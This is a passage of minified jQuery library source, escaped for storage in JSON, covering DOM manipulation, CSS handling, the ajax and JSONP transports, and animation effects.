b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,function(a,b){b.src?f.ajax({type:\"GET\",global:!1,url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bf,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof j==\"string\"\u0026\u0026j.length\u003c512\u0026\u0026i===c\u0026\u0026j.charAt(0)===\"\u003c\"\u0026\u0026!bb.test(j)\u0026\u0026(f.support.checkClone||!bd.test(j))\u0026\u0026(f.support.html5Clone||!bc.test(j))\u0026\u0026(g=!0,h=f.fragments[j],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g\u0026\u0026(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test(\"\u003c\"+a.nodeName+\"\u003e\")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]\u0026\u0026bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l==\"number\"\u0026\u0026(l+=\"\");if(!l)continue;if(typeof l==\"string\")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var m=(Z.exec(l)||[\"\",\"\"])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement(\"div\"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m===\"table\"\u0026\u0026!s?p.firstChild\u0026\u0026p.firstChild.childNodes:n[1]===\"\u003ctable\u003e\"\u0026\u0026!s?p.childNodes:[];for(i=t.length-1;i\u003e=0;--i)f.nodeName(t[i],\"tbody\")\u0026\u0026!t[i].childNodes.length\u0026\u0026t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace\u0026\u0026X.test(l)\u0026\u0026p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p\u0026\u0026(p.parentNode.removeChild(p),q.length\u003e0\u0026\u0026(r=q[q.length-1],r\u0026\u0026r.parentNode\u0026\u0026r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]\u0026\u0026typeof (u=l.length)==\"number\")for(i=0;i\u003cu;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e\u0026\u0026f.nodeName(h,\"script\")\u0026\u0026(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName(\"script\"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName\u0026\u0026f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b\u0026\u0026b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute\u0026\u0026i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\\([^)]*\\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\\-+]?(?:\\d*\\.)?\\d+$/i,bt=/^-?(?:\\d*\\.)?\\d+(?!px)[^\\d\\s]+$/i,bu=/^([\\-+])=([\\-+.\\de]+)/,bv=/^margin/,bw={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bx=[\"Top\",\"Right\",\"Bottom\",\"Left\"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length\u003e1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=bu.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,\"-$1\").toLowerCase(),(d=a.ownerDocument.defaultView)\u0026\u0026(e=d.getComputedStyle(a,null))\u0026\u0026(c=e.getPropertyValue(b),c===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=f.style(a,b))),!f.support.pixelMargin\u0026\u0026e\u0026\u0026bv.test(b)\u0026\u0026bt.test(c)\u0026\u0026(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle\u0026\u0026(bA=function(a,b){var c,d,e,f=a.currentStyle\u0026\u0026a.currentStyle[b],g=a.style;f==null\u0026\u0026g\u0026\u0026(e=g[b])\u0026\u0026(f=e),bt.test(f)\u0026\u0026(c=g.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),g.left=b===\"fontSize\"?\"1em\":f,f=g.pixelLeft+\"px\",g.left=c,d\u0026\u0026(a.runtimeStyle.left=d));return f===\"\"?\"auto\":f}),by=bz||bA,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+\"px\":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bp,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:\"inline-block\"},function(){return b?by(a,\"margin-right\"):a.style.marginRight})}})}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c==\"string\"?c.split(\" \"):[c],f={};for(d=0;d\u003c4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\\[\\]$/,bE=/\\r?\\n/g,bF=/#.*$/,bG=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\\/\\//,bL=/\\?/,bM=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bN=/^(?:select|textarea)/i,bO=/\\s+/,bP=/([?\u0026])_=[^\u0026]*/,bQ=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=[\"*/\"]+[\"*\"];try{bU=e.href}catch(bX){bU=c.createElement(\"a\"),bU.href=\"\",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bM,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,\"\\r\\n\")}}):{name:b.name,value:c.replace(bE,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=cb(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks(\"once memory\"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bF,\"\").replace(bK,bV[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bO),d.crossDomain==null\u0026\u0026(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]\u0026\u0026r[2]==bV[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bV[3]||(bV[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bL.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,\"$1_=\"+x);d.url=y+(y===d.url?(bL.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bW+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s\u003c2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join(\"\u0026\").replace(bC,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+cc++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=typeof b.data==\"string\"\u0026\u0026/^application\\/x\\-www\\-form\\-urlencoded/.test(b.contentType);if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(cd.test(b.url)||e\u0026\u0026cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(cd,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(cd,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,ce\u0026\u0026delete cg[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce\u0026\u0026(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,co,cp=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),(e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"||!f.contains(d.ownerDocument.documentElement,d))\u0026\u0026f._data(d,\"olddisplay\",cu(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct(\"hide\",3),a,b,c);var d,e,g=0,h=this.length;for(;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=f.css(d,\"display\"),e!==\"none\"\u0026\u0026!f._data(d,\"olddisplay\")\u0026\u0026f._data(d,\"olddisplay\",e));for(g=0;g\u003ch;g++)this[g].style\u0026\u0026(this[g].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(ct(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])\u0026\u0026\"expand\"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)===\"inline\"?this.style.display=\"inline-block\":this.style.zoom=1))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,\"toggle\"+i)||(h===\"toggle\"?d?\"show\":\"hide\":0),q?(f._data(this,\"toggle\"+i,q===\"show\"?\"hide\":\"show\"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?\"\":\"px\"),p!==\"px\"\u0026\u0026(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]\u0026\u0026(o=(m[1]===\"-=\"?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,\"\"));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]\u0026\u0026g[b].stop\u0026\u0026b.indexOf(\".run\")===b.length-4\u0026\u0026h(this,g,b);else g[b=a+\".run\"]\u0026\u0026g[b].stop\u0026\u0026h(this,g,b);for(b=e.length;b--;)e[b].elem===this\u0026\u0026(a==null||e[b].queue===a)\u0026\u0026(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)\u0026\u0026f.dequeue(this,a)})}}),f.each({slideDown:ct(\"show\",1),slideUp:ct(\"hide\",1),slideToggle:ct(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,\"fxshow\"+e.prop)===b\u0026\u0026(e.options.hide?f._data(e.elem,\"fxshow\"+e.prop,e.start):e.options.show\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop,e.end))},h()\u0026\u0026f.timers.push(h)\u0026\u0026!co\u0026\u0026(co=setInterval(g.tick,g.interval))},show:function(){var 